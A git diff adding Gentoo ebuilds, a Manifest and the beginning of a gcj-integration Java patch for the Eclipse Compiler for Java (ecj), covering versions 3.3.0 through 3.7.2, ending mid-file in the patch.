+DIST ecjsrc-3.6.zip 1310484 RMD160 82d9980aa4e6be1014d1bac396cceb2ab304cee3 SHA1 9bfda69c7c8528ecfe1b6cbcbe976b642069ca9c SHA256 bc2d624c5ca135d593c71a677674509f5801998ffe98c386749d15a46ee69242
+DIST ecjsrc-3.7.1.jar 1365199 RMD160 bc6c18ad68544b2a3071e769fe395633db232793 SHA1 fcf9751ba022c340e2d01456462ea4949ceee991 SHA256 d8567a5de289b750dd9853654aeb941a8e48766b1d7ae80803c71d1f47fbe9b4
+DIST ecjsrc-3.7.2.jar 1366333 RMD160 628827d9bed955078db412976204fc785cf2f882 SHA1 75d8b5b90ff3bac912e06aa94f0f09fe5bc81c7a SHA256 755d871c3066f15cfaf5ea84075527eb97c92f9685058c3a326057e797f69e6b
+DIST ecjsrc.zip 1215250 RMD160 938320ae54050e322bbb98c78b0e86d241862153 SHA1 e08a27fd77e5ac7af8f2c84beed175cd3fdd0c60 SHA256 f41194a9580023afd11d18b82f6815b064af83c4f9ca407a40cd8d960bd112cc
+EBUILD eclipse-ecj-3.3.0-r3.ebuild 2161 RMD160 7369ef82fdbb3bbd971cc541542d52a8c93e5796 SHA1 2f45a9cef2ad8a366f096bf1436b662edf9582e0 SHA256 6e76a6d5637af3796ba42b4e21c7fc905c2f5767bdc4635c8b8102b6f1d03c86
+EBUILD eclipse-ecj-3.4-r4.ebuild 2307 RMD160 e5c2e4482ba2cae562b18e123f54c61a73fcdbae SHA1 daa812c16a3fd668fe74622c9dc3a1663d60532d SHA256 dd93f38e418fe26939827a11f492160711194c0a0124b812dc39899fbf4819ff
+EBUILD eclipse-ecj-3.5.2.ebuild 2859 RMD160 a965480a9882f30c0c40a0da349d7b92f099ad30 SHA1 673fded0a18fef3745b35c46f1ff24ecb073d89c SHA256 b5199a992363c21a021e09dd90fc6d678278fb0dcc0c1ac94ad7c08875c4b25f
+EBUILD eclipse-ecj-3.6.ebuild 2860 RMD160 b44c1a2fe200a93523badb273b0c0c152a69c448 SHA1 1fab52ebac83928f2b9e83054668d1a49c650fb6 SHA256 0032e352917a487115d31ea1d6088a1ab6a4b9e5d58317e26a4b9c830ff82b54
+EBUILD eclipse-ecj-3.7.1.ebuild 2859 RMD160 d4ccb1db1ebea781833ad81c40eb597d7cf40737 SHA1 2dbd06fc003b2776d27f81b3ec7227798fd36f6d SHA256 eef28beaebc7318739f494c385974a7f3759f02b1f52782eb307bd26cb92207d
+EBUILD eclipse-ecj-3.7.2.ebuild 2863 RMD160 8c313f1cab4e560f5e754b33e425a491e0929ef6 SHA1 d80a183a0a44e4ec423900d48ecbc002883bd1a4 SHA256 1fabf338b86a38af207a78e161dc97bc40f8ba430ee59ba1cb7bfd4fd9df435a
+MISC ChangeLog 12114 RMD160 0a19a44eda1268512e12d7a3521455868fbc31eb SHA1 6f6e9338c2e0eb26f1ed8c452cc6e360fb20c586 SHA256 fa1c806884e12016ac707a1cc71bf45e9b3e86e56ce13db14a26c1b583938ee4
+MISC metadata.xml 570 RMD160 c3773d8e931a0e7a00eeb494f1f8f68cc1f799ed SHA1 71c2b881dc7b6733567777051b079745f3c2d70a SHA256 dd2a09440442264363911b455040196cbb42763fbacbb135c07b3f0de44a1e3a
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild
new file mode 100644
index 00000000..9e5c9cae
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild
@@ -0,0 +1,86 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild,v 1.10 2011/12/31 14:25:23 sera Exp $
+
+inherit eutils java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-200706251500"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF/.0}/${MY_PN}src.zip"
+
+LICENSE="EPL-1.0"
+KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.3"
+IUSE=""
+
+COMMON_DEPEND="app-admin/eselect-ecj"
+RDEPEND=">=virtual/jre-1.4
+	${COMMON_DEPEND}"
+DEPEND="<virtual/jdk-1.7
+	sys-apps/findutils
+	app-arch/unzip
+	${COMMON_DEPEND}"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# own package
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java
+	rm -fr org/eclipse/jdt/internal/antadapter
+
+	# what the heck...?! java6
+	rm -fr org/eclipse/jdt/internal/compiler/tool/ \
+		org/eclipse/jdt/internal/compiler/apt/
+
+	# gcj feature
+	epatch "${FILESDIR}"/${P}-gcj.patch
+}
+
+src_compile() {
+	local javac="javac" java="java" jar="jar"
+
+	mkdir -p bootstrap
+	cp -pPR org bootstrap
+
+	einfo "bootstrapping ${MY_PN} with javac"
+
+	cd "${S}"/bootstrap
+	${javac} $(find org/ -name '*.java') || die "${MY_PN} bootstrap failed!"
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' | \
+		xargs ${jar} cf ${MY_PN}.jar
+
+	einfo "build ${MY_PN} with bootstrapped ${MY_PN}"
+
+	cd "${S}"
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main -encoding ISO-8859-1 org \
+		|| die "${MY_PN} build failed!"
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' | \
+		xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+	java-pkg_dojar ${MY_PN}.jar
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+}
+
+pkg_postinst() {
+	einfo "To get the Compiler Adapter of ECJ for ANT..."
+	einfo " # emerge ant-eclipse-ecj"
+	echo
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild
new file mode 100644
index 00000000..fa7d6c5a
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild
@@ -0,0 +1,92 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild,v 1.7 2011/12/31 14:25:23 sera Exp $
+
+EAPI=2
+
+inherit java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-200806172000"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.zip"
+
+IUSE="java6"
+
+LICENSE="EPL-1.0"
+KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.4"
+
+CDEPEND=">=app-admin/eselect-ecj-0.3"
+
+DEPEND="${CDEPEND}
+	app-arch/unzip
+	!java6? ( >=virtual/jdk-1.4 )
+		java6? ( >=virtual/jdk-1.6 )"
+RDEPEND="${CDEPEND}
+	!java6? ( >=virtual/jre-1.4 )
+		java6? ( >=virtual/jre-1.6 )"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}" || die
+
+	# These have their own package.
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die
+	rm -fr org/eclipse/jdt/internal/antadapter || die
+
+	if ! use java6 ; then
+		rm -fr org/eclipse/jdt/internal/compiler/{apt,tool}/ || die
+	fi
+}
+
+src_compile() {
+	local javac_opts javac java jar
+
+	javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1"
+	javac="$(java-config -c)"
+	java="$(java-config -J)"
+	jar="$(java-config -j)"
+
+	mkdir -p bootstrap || die
+	cp -pPR org bootstrap || die
+	cd "${S}/bootstrap" || die
+
+	einfo "bootstrapping ${MY_PN} with ${javac} ..."
+	${javac} ${javac_opts} $(find org/ -name '*.java') || die
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' |\
+		xargs ${jar} cf ${MY_PN}.jar
+
+	cd "${S}" || die
+	einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..."
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		${javac_opts} -nowarn org || die
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' |\
+		xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+
+	java-pkg_dojar ${MY_PN}.jar
+}
+
+pkg_postinst() {
+	einfo "To get the Compiler Adapter of ECJ for ANT..."
+	einfo " # emerge ant-eclipse-ecj"
+	echo
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild
new file mode 100644
index 00000000..e1808a7a
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild
@@ -0,0 +1,103 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild,v 1.7 2011/10/19 20:09:46 mr_bones_ Exp $
+
+EAPI=2
+
+inherit java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-201002111343"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.zip"
+
+IUSE="+ant userland_GNU"
+
+LICENSE="EPL-1.0"
+KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.5"
+
+CDEPEND=">=app-admin/eselect-ecj-0.3"
+
+JAVA_PKG_WANT_SOURCE=1.4
+JAVA_PKG_WANT_TARGET=1.4
+
+DEPEND="${CDEPEND}
+	app-arch/unzip
+	>=virtual/jdk-1.6
+	userland_GNU? ( sys-apps/findutils )"
+RDEPEND="${CDEPEND}
+	>=virtual/jre-1.4"
+PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# These have their own package.
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die
+	rm -fr org/eclipse/jdt/internal/antadapter || die
+
+	# upstream build.xml excludes this
+	rm META-INF/eclipse.inf
+}
+
+src_compile() {
+	local javac_opts javac java jar
+
+	javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1"
+	javac="$(java-config -c)"
+	java="$(java-config -J)"
+	jar="$(java-config -j)"
+
+	find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \
+		-path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \
+		-print > sources-1.4
+	find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6
+
+	mkdir -p bootstrap || die
+	cp -pPR org bootstrap || die
+	cd "${S}/bootstrap" || die
+
+	einfo "bootstrapping ${MY_PN} with ${javac} ..."
+	${javac} ${javac_opts} @../sources-1.4 || die
+	${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+
+	cd "${S}" || die
+	einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..."
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		${javac_opts} -nowarn @sources-1.4 || die
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		-encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+
+	# disable the class version verify, this has intentionally
+	# some classes with 1.6, but most is 1.4
+	JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar
+}
+
+pkg_postinst() {
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild
new file mode 100644
index 00000000..45a4437e
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild
@@ -0,0 +1,103 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild,v 1.2 2011/10/19 15:44:02 fordfrog Exp $
+
+EAPI=2
+
+inherit java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-201006080911"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.zip"
+
+IUSE="+ant userland_GNU"
+
+LICENSE="EPL-1.0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.6"
+
+CDEPEND=">=app-admin/eselect-ecj-0.3"
+
+JAVA_PKG_WANT_SOURCE=1.4
+JAVA_PKG_WANT_TARGET=1.4
+
+DEPEND="${CDEPEND}
+	app-arch/unzip
+	>=virtual/jdk-1.6
+	userland_GNU? ( sys-apps/findutils )"
+RDEPEND="${CDEPEND}
+	>=virtual/jre-1.4"
+PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# These have their own package.
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die
+	rm -fr org/eclipse/jdt/internal/antadapter || die
+
+	# upstream build.xml excludes this
+	rm META-INF/eclipse.inf
+}
+
+src_compile() {
+	local javac_opts javac java jar
+
+	javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1"
+	javac="$(java-config -c)"
+	java="$(java-config -J)"
+	jar="$(java-config -j)"
+
+	find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \
+		-path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \
+		-print > sources-1.4
+	find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6
+
+	mkdir -p bootstrap || die
+	cp -pPR org bootstrap || die
+	cd "${S}/bootstrap" || die
+
+	einfo "bootstrapping ${MY_PN} with ${javac} ..."
+	${javac} ${javac_opts} @../sources-1.4 || die
+	${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+
+	cd "${S}" || die
+	einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..."
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		${javac_opts} -nowarn @sources-1.4 || die
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		-encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+
+	# disable the class version verify, this has intentionally
+	# some classes with 1.6, but most is 1.4
+	JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar
+}
+
+pkg_postinst() {
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild
new file mode 100644
index 00000000..79dfb9ea
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild
@@ -0,0 +1,103 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild,v 1.5 2012/03/12 15:13:26 ranger Exp $
+
+EAPI="4"
+
+inherit java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-201109091335"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://download.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.jar"
+
+IUSE="+ant userland_GNU"
+
+LICENSE="EPL-1.0"
+KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.7"
+
+CDEPEND=">=app-admin/eselect-ecj-0.3"
+
+JAVA_PKG_WANT_SOURCE=1.4
+JAVA_PKG_WANT_TARGET=1.4
+
+DEPEND="${CDEPEND}
+	app-arch/unzip
+	>=virtual/jdk-1.6
+	userland_GNU? ( sys-apps/findutils )"
+RDEPEND="${CDEPEND}
+	>=virtual/jre-1.4"
+PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# These have their own package.
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die
+	rm -fr org/eclipse/jdt/internal/antadapter || die
+
+	# upstream build.xml excludes this
+	rm META-INF/eclipse.inf
+}
+
+src_compile() {
+	local javac_opts javac java jar
+
+	javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1"
+	javac="$(java-config -c)"
+	java="$(java-config -J)"
+	jar="$(java-config -j)"
+
+	find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \
+		-path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \
+		-print > sources-1.4
+	find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6
+
+	mkdir -p bootstrap || die
+	cp -pPR org bootstrap || die
+	cd "${S}/bootstrap" || die
+
+	einfo "bootstrapping ${MY_PN} with ${javac} ..."
+	${javac} ${javac_opts} @../sources-1.4 || die
+	${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+
+	cd "${S}" || die
+	einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..."
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		${javac_opts} -nowarn @sources-1.4 || die
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		-encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+
+	# disable the class version verify, this has intentionally
+	# some classes with 1.6, but most is 1.4
+	JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar
+}
+
+pkg_postinst() {
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild
new file mode 100644
index 00000000..ba569b6e
--- /dev/null
+++ b/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild
@@ -0,0 +1,103 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild,v 1.1 2012/03/03 22:15:42 caster Exp $
+
+EAPI="4"
+
+inherit java-pkg-2
+
+MY_PN="ecj"
+DMF="R-${PV}-201202080800"
+S="${WORKDIR}"
+
+DESCRIPTION="Eclipse Compiler for Java"
+HOMEPAGE="http://www.eclipse.org/"
+SRC_URI="http://download.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.jar"
+
+IUSE="+ant userland_GNU"
+
+LICENSE="EPL-1.0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris"
+SLOT="3.7"
+
+CDEPEND=">=app-admin/eselect-ecj-0.3"
+
+JAVA_PKG_WANT_SOURCE=1.4
+JAVA_PKG_WANT_TARGET=1.4
+
+DEPEND="${CDEPEND}
+	app-arch/unzip
+	>=virtual/jdk-1.6
+	userland_GNU? ( sys-apps/findutils )"
+RDEPEND="${CDEPEND}
+	>=virtual/jre-1.4"
+PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# These have their own package.
+	rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die
+	rm -fr org/eclipse/jdt/internal/antadapter || die
+
+	# upstream build.xml excludes this
+	rm META-INF/eclipse.inf
+}
+
+src_compile() {
+	local javac_opts javac java jar
+
+	javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1"
+	javac="$(java-config -c)"
+	java="$(java-config -J)"
+	jar="$(java-config -j)"
+
+	find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \
+		-path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \
+		-print > sources-1.4
+	find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6
+
+	mkdir -p bootstrap || die
+	cp -pPR org bootstrap || die
+	cd "${S}/bootstrap" || die
+
+	einfo "bootstrapping ${MY_PN} with ${javac} ..."
+	${javac} ${javac_opts} @../sources-1.4 || die
+	${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+
+	cd "${S}" || die
+	einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..."
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		${javac_opts} -nowarn @sources-1.4 || die
+	${java} -classpath bootstrap/${MY_PN}.jar \
+		org.eclipse.jdt.internal.compiler.batch.Main \
+		-encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die
+
+	find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \
+		| xargs ${jar} cf ${MY_PN}.jar
+}
+
+src_install() {
+	java-pkg_dolauncher ${MY_PN}-${SLOT} --main \
+		org.eclipse.jdt.internal.compiler.batch.Main
+
+	# disable the class version verify, this has intentionally
+	# some classes with 1.6, but most is 1.4
+	JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar
+}
+
+pkg_postinst() {
+	einfo "To select between slots of ECJ..."
+	einfo " # eselect ecj"
+
+	eselect ecj update ecj-${SLOT}
+}
+
+pkg_postrm() {
+	eselect ecj update
+}
diff --git a/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch b/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch
new file mode 100644
index 00000000..e87aa4f8
--- /dev/null
+++ b/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch
@@ -0,0 +1,509 @@
+--- org/eclipse/jdt/internal/compiler/batch/messages.properties	8 Feb 2007 15:04:43 -0000	1.546.2.23
++++ org/eclipse/jdt/internal/compiler/batch/messages.properties	26 Feb 2007 18:21:06 -0000
+@@ -249,3 +249,8 @@
+ template.restrictedAccess.constructor = The constructor {0} is not accessible due to restriction on classpath entry {1}
+ template.restrictedAccess.field = The field {0} from the type {1} is not accessible due to restriction on classpath entry {2}
+ template.restrictedAccess.method = The method {0} from the type {1} is not accessible due to restriction on classpath entry {2}
++
++# GCCMain messages.
++gcc.zipArg=-fzip-target requires argument
++gcc.zipDepArg=-fzip-dependency requires argument
++gcc.noClasspath=no classpath specified
+--- /dev/null	1 Jan 1970 00:00:00 -0000
++++ org/eclipse/jdt/internal/compiler/batch/GCCMain.java	1 Jan 1970 00:00:00 -0000
+@@ -0,0 +1,495 @@
++/**
++ * 
++ */
++package org.eclipse.jdt.internal.compiler.batch;
++
++import java.io.BufferedOutputStream;
++import java.io.BufferedReader;
++import java.io.ByteArrayInputStream;
++import java.io.File;
++import java.io.FileOutputStream;
++import java.io.FileReader;
++import java.io.IOException;
++import java.io.InputStreamReader;
++import java.io.OutputStream;
++import java.io.PrintWriter;
++import java.io.UnsupportedEncodingException;
++import java.util.ArrayList;
++import java.util.HashSet;
++import java.util.Iterator;
++import java.util.Map;
++import java.util.StringTokenizer;
++import java.util.zip.CRC32;
++import java.util.zip.ZipEntry;
++import java.util.zip.ZipOutputStream;
++
++import org.eclipse.jdt.core.compiler.InvalidInputException;
++import org.eclipse.jdt.internal.compiler.ClassFile;
++import org.eclipse.jdt.internal.compiler.CompilationResult;
++import org.eclipse.jdt.internal.compiler.env.AccessRule;
++import org.eclipse.jdt.internal.compiler.env.AccessRuleSet;
++import org.eclipse.jdt.internal.compiler.impl.CompilerOptions;
++import org.eclipse.jdt.internal.compiler.util.Messages;
++import org.eclipse.jdt.internal.compiler.util.SuffixConstants;
++
++/**
++ * This is an alternate entry point for the command-line compiler which
++ * is simpler to integrate into GCC.  In particular the option processing
++ * is more GNU-like and the recognized options are similar to those supported
++ * by other GCC front ends.
++ */
++public class GCCMain extends Main {
++
++	// All the compilation units specified on the command line.
++	private HashSet commandLineCompilationUnits = new HashSet();
++	// True if we are only checking syntax.
++	private boolean syntaxOnly;
++	// If not null, the name of the output zip file.
++	// If null, we are generating class files in the file system,
++	// not a zip file.
++	private String zipDestination;
++	// The zip stream to which we're writing, or null if it hasn't been opened.
++	private ZipOutputStream zipStream;
++	
++	// If not null, the name of the zip file to which dependency class files
++	// should be written.
++	private String zipDependencyDestination;
++	// The zip stream to which dependency files should be written.
++	private ZipOutputStream zipDependencyStream;
++
++	public GCCMain(PrintWriter outWriter, PrintWriter errWriter,
++			boolean systemExitWhenFinished) {
++		super(outWriter, errWriter, systemExitWhenFinished);
++		this.logger.setEmacs();
++	}
++
++	public GCCMain(PrintWriter outWriter, PrintWriter errWriter,
++			boolean systemExitWhenFinished, Map customDefaultOptions) {
++		super(outWriter, errWriter, systemExitWhenFinished,
++				customDefaultOptions);
++		this.logger.setEmacs();
++	}
++
++	private void fail(Exception t) {
++		this.logger.logException(t);
++		System.exit(1);
++	}
++
++	public CompilationUnit[] getCompilationUnits() throws InvalidInputException {
++		CompilationUnit[] units = super.getCompilationUnits();
++		for (int i = 0; i < units.length; ++i)
++			this.commandLineCompilationUnits.add(units[i]);
++		return units;
++	}
++
++	private String combine(char[] one, char[] two) {
++		StringBuffer b = new StringBuffer();
++		b.append(one);
++		b.append(two);
++		return b.toString();
++	}
++
++	private ZipOutputStream getZipOutput() throws IOException {
++		if (this.zipDestination != null && this.zipStream == null) {
++			OutputStream os;
++			if ("-".equals(this.zipDestination)) { //$NON-NLS-1$
++				os = System.out;
++			} else {
++				os = new FileOutputStream(this.zipDestination);
++			}
++			zipStream = new ZipOutputStream(new BufferedOutputStream(os));
++			zipStream.setMethod(ZipOutputStream.STORED);
++		}
++		return zipStream;
++	}
++
++	private ZipOutputStream getDependencyOutput() throws IOException {
++		if (this.zipDependencyDestination != null && this.zipDependencyStream == null) {
++			OutputStream os = new FileOutputStream(zipDependencyDestination);
++			zipDependencyStream = new ZipOutputStream(new BufferedOutputStream(os));
++			zipDependencyStream.setMethod(ZipOutputStream.STORED);
++		}
++		return zipDependencyStream;
++	}
++
++	public void outputClassFiles(CompilationResult unitResult) {
++		if (this.syntaxOnly) {
++			return;
++		}
++		if (this.zipDestination == null) {
++			// Nothing special to do here.
++			super.outputClassFiles(unitResult);
++			return;
++		}
